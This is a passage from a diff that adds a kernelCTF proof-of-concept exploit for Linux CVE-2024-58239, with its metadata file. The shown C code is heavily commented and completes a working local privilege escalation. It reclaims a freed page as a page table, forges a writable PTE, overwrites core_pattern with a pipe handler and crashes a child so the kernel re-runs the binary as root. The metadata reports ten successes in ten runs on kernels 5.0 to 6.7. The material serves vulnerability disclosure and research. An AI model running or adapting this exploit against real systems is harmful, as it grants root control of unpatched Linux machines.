and populates it with read-only empty_zero_page PTEs (the default for + * anonymous pages that have never been written). Because the freed page sits + * in the freelist, one of these PTE allocations claims it. + * + * After this loop, the victim pipe's page is a live kernel PTE table filled + * with empty_zero_page PTE entries rather than our 'X' spray pattern. + * + * The pte_alloc_trigger sum prevents the compiler from optimising away the + * reads. + * ========================================================================= + */ + // PAUSE; + int pte_alloc_trigger = 0; + for (int i = 0; i < PTE_SPRAY_MAP_COUNT; i++) + pte_alloc_trigger += pte_trigger_maps[i][0]; + printf("Sum %d\n", pte_alloc_trigger); + + /* ========================================================================= + * Step 10: Identify the victim pipe (the one whose page is now a PTE table). + * + * Read back 0x1000 bytes from each page_spray_pipe. All spray pipes contain + * 'X' bytes; the victim pipe's page now contains kernel PTE values so its + * first byte is not 'X'. The first 8 bytes hold an empty_zero_page PTE: + * bits [51:12] encode the physical frame number of empty_zero_page. + * ========================================================================= + */ + int *victim_pte_pipe_fd; + for (int i = 0; i < PAGE_SPRAY_PIPE_COUNT; i++) { + read(page_spray_pipes[i][0], buf, 0x1000); + if (buf[0] != 'X') { + victim_pte_pipe_fd = page_spray_pipes[i]; + printf("pte? %zx\n", *(size_t *)buf); + break; + } + } + + /* ========================================================================= + * Step 11: Craft and write the core_pattern PTE, then overwrite core_pattern. + * + * The empty_zero_page PTE in buf[0..7] gives us the physical address of + * empty_zero_page. We convert it to a writable PTE for core_pattern's page: + * + * core_pattern_pte = (phys_of_empty_zero_page & ~0xfff) + * + PTE_FLAGS_RW // P + RW + U + A + D + * - PHYSMAP_ZERO_OFFSET // subtract empty_zero + * physmap offset + * + (PHYSMAP_CORE_PATTERN & ~0xfff) // add core_pattern + * physmap offset + * + * Writing this 8-byte value to victim_pte_pipe_fd[1] overwrites one PTE + * entry in the reclaimed PTE table. The corresponding pte_trigger_maps[] + * virtual address now maps to core_pattern's physical page with RW access. + * + * Iterating over all PTE_SPRAY_MAP_COUNT regions and writing the string at + * the correct within-page byte offset ensures we hit the live mapping. + * ========================================================================= + */ + size_t core_pattern_pte = *(size_t *)&buf[0]; + core_pattern_pte &= 0xfffffffff000; /* Isolate physical frame address. */ + core_pattern_pte += PTE_FLAGS_RW; /* Mark present, RW, user, A, D. */ + core_pattern_pte -= PHYSMAP_ZERO_OFFSET; /* Rebase from empty_zero_page. */ + core_pattern_pte += + (PHYSMAP_CORE_PATTERN & ~0xfffUL); /* Redirect to core_pattern page. */ + + int core_pattern_page_offset = + PHYSMAP_CORE_PATTERN & + 0xfff; /* Byte offset of core_pattern within its page. */ + + /* Overwrite the PTE so a pte_trigger_maps[] slot maps core_pattern's page. */ + write(victim_pte_pipe_fd[1], &core_pattern_pte, 8); + + /* Write the handler string to core_pattern through the newly mapped address. + */ + for (int i = 0; i < PTE_SPRAY_MAP_COUNT; i++) + strcpy(&pte_trigger_maps[i][core_pattern_page_offset], + "|/proc/%P/fd/666 %P"); + + /* ========================================================================= + * Step 12: Trigger privilege escalation via core_pattern. + * + * A child process crashes (NULL dereference → SIGSEGV). The kernel runs + * core_pattern = "|/proc//fd/666 " as root. Our binary is + * re-executed (from fd 666) with argv[1] = child PID; the root stage at the + * top of main() uses pidfd_getfd() to hijack the child's stdio and reads + * /flag. + * ========================================================================= + */ + if (fork() == 0) { + setsid(); + crash(""); + } + PAUSE; + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2024-58239_mitigation/metadata.json b/pocs/linux/kernelctf/CVE-2024-58239_mitigation/metadata.json new file mode 100644 index 000000000..90361347b --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-58239_mitigation/metadata.json @@ -0,0 +1,33 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": [ + "exp407" + ], + "vulnerability": { + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fdfbaec5923d9359698cbb286bc0deadbb717504", + "cve": "CVE-2024-58239", + "affected_versions": [ + "5.0 - 6.7" + ], + "requirements": { + "attack_surface": [ + + ], + "capabilities": [ + + ], + "kernel_config": [ + + "CONFIG_TLS" + ] + } + }, + "exploits": { + "mitigation-v4-6.6": { + "uses": [ + ], + "requires_separate_kaslr_leak": false, + "stability_notes": "10 times success per 10 times run" + } + } +} diff --git a/pocs/linux/kernelctf/CVE-2024-58239_mitigation/original.tar.gz b/pocs/linux/kernelctf/CVE-2024-58239_mitigation/original.tar.gz new file mode 100755 index 000000000..d654f276c Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-58239_mitigation/original.tar.gz differ